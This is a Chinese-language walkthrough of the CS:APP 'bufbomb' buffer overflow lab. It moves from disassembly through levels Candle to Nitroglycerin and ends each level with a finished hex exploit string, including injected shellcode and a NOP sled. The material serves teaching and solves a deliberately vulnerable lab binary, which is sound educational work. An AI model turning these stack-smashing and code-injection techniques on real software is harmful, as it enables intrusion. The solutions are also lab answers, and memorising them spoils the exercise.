前提
hex2raw:十六进制流向二进制流转换。它接受一个十六进制格式的字符串作为输入。在这种格式中,每个字节值用两个十六进制数字表示。通过HEX2RAW的十六进制字符应该用空格(空格或换行符)分隔。
makecookie:在实验中是根据ID生成特定的cookie的工具
bufbomb通过一个自定义的getbuf()函数读取输入,并将其复制到目标内存中。该函数主要通过Gets()函数实现。
Gets()函数从标准输入中读取输入(以"\n"或者EOF作为输入结尾,并不检查读取长度),并将其以"\n"结尾存放在指定的内存区域中,容易造成栈溢出。
objdump -d bufbomb //查看bufbomb程序的汇编代码
查看getbuf函数的汇编代码
080491f4 <getbuf>:
;将调用函数的ebp压入栈中
80491f4: 55 push %ebp
;将被调用函数的栈基地址存入ebp中
80491f5: 89 e5 mov %esp,%ebp
;开辟0x38(56)个字节的栈内存空间
80491f7: 83 ec 38 sub $0x38,%esp
;lea指令将ebp-0x28处的内存单元地址存入到eax寄存器中
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
;将eax寄存器中的内存单元地址存放到esp所指的内存单元中
80491fd: 89 04 24 mov %eax,(%esp)
;call指令调用gets函数,gets函数的参数是一个字符类型内存单元地址
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
;函数的返回值一般存放在eax寄存器中
8049205: b8 01 00 00 00 mov $0x1,%eax
;将ebp恢复到调用函数的栈基地址
804920a: c9 leave
;将程序执行流返回到调用函数处
804920b: c3 ret
实验指导书上有C语言代码或者自己写
1 /* Buffer size for getbuf */
2 #define NORMAL_BUFFER_SIZE 32
3
4 int getbuf()
5 {
6 char buf[NORMAL_BUFFER_SIZE];
7 Gets(buf);
8 return 1;
9 }
关于buf大小为什么是32个字节?
getbuf函数开辟56个字节的栈内存空间,lea -0x28(%ebp),%eax 和mov %eax,(%esp) 两个指令说明buf的首地址在ebp-0x28处。有人认为 0x28 不是40个字节么?因为申请内存空间是16个字节的倍数。所以是32个字节的内存大小。
Level 0: Candle
还有test()函数,test函数中调用了getbuf函数
void test()
2 {
3 int val;
4 /* Put canary on stack to detect possible corruption */
5 volatile int local = uniqueval();
6
7 val = getbuf();
8
9 /* Check for corrupted stack */
10 if (local != uniqueval()) {
11 printf("Sabotaged!: the stack has been corrupted\n");
12 }
13 else if (val == cookie) {
14 printf("Boom!: getbuf returned 0x%x\n", val);
15 validate(3);
16 } else {
17 printf("Dud: getbuf returned 0x%x\n", val);
18 }
19 }
smoke函数的汇编代码
08048c18 <smoke>:
8048c18: 55 push %ebp
8048c19: 89 e5 mov %esp,%ebp
8048c1b: 83 ec 18 sub $0x18,%esp
8048c1e: c7 04 24 d3 a4 04 08 movl $0x804a4d3,(%esp)
8048c25: e8 96 fc ff ff call 80488c0 <puts@plt>
8048c2a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c31: e8 45 07 00 00 call 804937b <validate>
8048c36: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c3d: e8 be fc ff ff call 8048900 <exit@plt>
smoke函数的C语言代码
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
将程序执行流劫持到smoke函数处。使得test函数调用getbuf()后,在getbuf()返回时直接调用smoke()函数,而不是返回函数test()。
buf的首地址距离ebp为0x28(即40个字节)再覆盖4个字节的caller’s ebp(调用函数的ebp)就是ret addr(返回地址),将返回地址修改为smoke函数的地址(0x08048c18)(小端存储方式)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08
将这些十六进制串存放到一个.txt文件,然后使用hex2raw转换为二进制流。然后输入到bufbomb程序中
./hex2raw < exploit.txt | ./bufbomb -u 123
Level 1: Sparkler
fizz函数的汇编代码
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
;开辟0x18(24)个字节的栈内存空间
8048c45: 83 ec 18 sub $0x18,%esp
;将fizz函数的参数存放到eax寄存器中
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
;fizz函数参数与内存地址为0x8048c79的字符串(cookie)相比较
;比较的结果存放在标志位ZF中,相等ZF=1,不相等ZF=0.
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
;jne指令,若ZF=0,则跳转到0x8048c79
8048c51: 75 26 jne 8048c79 <fizz+0x37>
;esp+0x8(fizz函数参数),esp+0x4(0x804a4ee处的字符串),esp(1)的内容
;作为__printf_chk@plt函数的参数。
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
fizz函数的C语言代码
void fizz(int val)
{
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%x)\n", val); validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val); exit(0);
}
得出0x804d108地址处存放的字符串是cookie,而cookie由IDname决定
可以由makecookie程序生成。
test函数调用getbuf()后,在getbuf()返回时直接调用fizz()函数,而不是返回函数test() ;
将fizz函数的参数改为0x70a28da5,返回地址也修改为fizz函数的地址0x08048c42
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 a5 8d a2 70
./hex2raw < exploit.txt | ./bufbomb -u 123
Level 2: Firecracker
bang函数的汇编代码
08048c9d <bang>:
8048c9d: 55 push %ebp
8048c9e: 89 e5 mov %esp,%ebp
8048ca0: 83 ec 18 sub $0x18,%esp
;内存地址为0x804d100的内存存储的是全局变量
8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax
;将全局变量与cookie相比较
8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 75 26 jne 8048cd6 <bang+0x39>
8048cb0: 89 44 24 08 mov %eax,0x8(%esp)
8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt>
8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8 a7 06 00 00 call 804937b <validate>
8048cd4: eb 18 jmp 8048cee <bang+0x51>
8048cd6: 89 44 24 08 mov %eax,0x8(%esp)
8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt>
8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
bang函数的C语言代码
int global_value = 0;
void bang(int val)
{
if (global_value == cookie)
{ printf("Bang!: You set global_value to 0x%x\n",global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value); exit(0);
}
将全局变量global_value修改为cookie的值
test函数调用getbuf()后,在getbuf()返回时直接调用bang()函数,而不是返回函数test() ;
global_value是全局变量,修改它的数值,需要写代码,而且保证代码能够执行,所以写到buf中,然后getbuf函数的返回地址修改成buf的内存地址。bang函数的地址也存放到buf中,然后ret,跳转至bang函数开始执行。
首先编写汇编代码
;将全局变量global_value修改为cookie值
mov $0x70a28da5,0x804d100
;将bang函数地址压入栈中
push $0x08048c9d
ret
使用as,将汇编程序转换为二进制程序
as text.s -o text
得到十六进制的机器代码
接下来是寻找buf的内存地址,使用gdb进行寻找
得到buf的内存地址为0x556836b8
c7 04 25 00 d1 04 08 a5 8d a2 70 68 9d 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 36 68 55 00 00 00 00 00 00 00 00 b8 36 68 55
./hex2raw < exploit.txt | ./bufbomb -u 123
Level 3: Dynamite
目前为止的操作都是使得正常控制流改变并跳转至其它函数,最终使得程序停止,故而以上操作中对于栈的破坏、破坏保留值等操作对于程序运行是可以接受的。更复杂的缓冲区攻击在于执行某些构造的指令改变寄存器或内存中的值,并使程序能正常返回原控制流执行。
level 3的任务为通过构造指令,使得getbuf正常返回至test函数,并使得getbuf返回值为cookie值。
将寄存器eax的值修改为cookie(我的IDname是123,产生的cookie是0x70a28da5),因为要返回到test函数,所以栈基地址寄存器需存放的是test函数的栈基地址。
既然要想知道test函数的栈基地址,就下断点到test函数
得到test函数的栈基地址为0x55683710
编写汇编代码
;将eax寄存器(函数的返回值)修改为cookie
mov $0x70a28da5,%eax
;将ebp的值修改为test函数的栈基地址
mov $0x55683710,%ebp
;将调用完getbuf函数返回到test函数处的地址压入栈中
push $0x8048dbe
ret
查看text程序的机器代码
./hex2raw < exploit.txt | ./bufbomb -u 123
level 4 Nitroglycerin
程序运行时启用了 -n 选项时,程序在读取输入时会启用 getbufn函数(而不是前面的getbuf)。getbufn函数有与getbuf相似的功能,但前者输入数组的长度为512字节。调用getbufn函数之前,程序会先在栈上分配一个随机长度的空间,从而使得getbufn函数的栈空间在不同调用情况下不再是固定的,实际上%ebp的差值达到±240。在应用 -n 选项的情况下,程序会要求提交输入字符串 5 次,5次输入会面对5个不同的栈空间,并要求每次都成功返回cookie值。level 4的任务与level 3一致,即要求getbufn函数返回调用函数testn时返回cookie值,而不是常规的1.
开启了栈地址随机化。
getbufn函数的汇编代码
0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 00 00 sub $0x218,%esp
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop
相对于getbuf函数而言,getbufn函数开辟了0x218(536)个字节空间,buf内存空间的大小为0x200(512)个字节大小。且每次栈的位置会发生变化。
每次运行testn的ebp都不同,所以每次getbufn里面保存的test的ebp也是随机的,但是栈顶的esp是不变的,我们就要找到每次随机的ebp与esp之间的关系来恢复ebp。
使用gdb下断点到getbufn函数,寻找buf的内存地址。
一共有5个buf地址
0x55683508
0x556834d8
0x55683538
0x556834b8
0x55683538
取最大的buf地址,0x55683538
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
返回地址为0x8048e3a
mov %esp,%ebp
push %ebx
sub $0x24,%esp
由汇编代码可得出ebp与esp相差0x28个字节
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
getbufn函数返回地址为0x8048e3a
构造代码
;恢复testn函数的ebp
mov %esp,%ebx
add $0x28,%ebx
mov %ebx,%ebp
;getbufn函数的返回值
mov $0x70a28da5,%eax
;getbufn返回地址
push $0x08048e3a
ret
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 89 e3 83 c3 28 89 dd b8 a5 8d a2 70 68 3a 8e 04 08 c3 00 00 00 00 38 35 68 55
./hex2raw < exploit.txt | ./bufbomb -n -u 123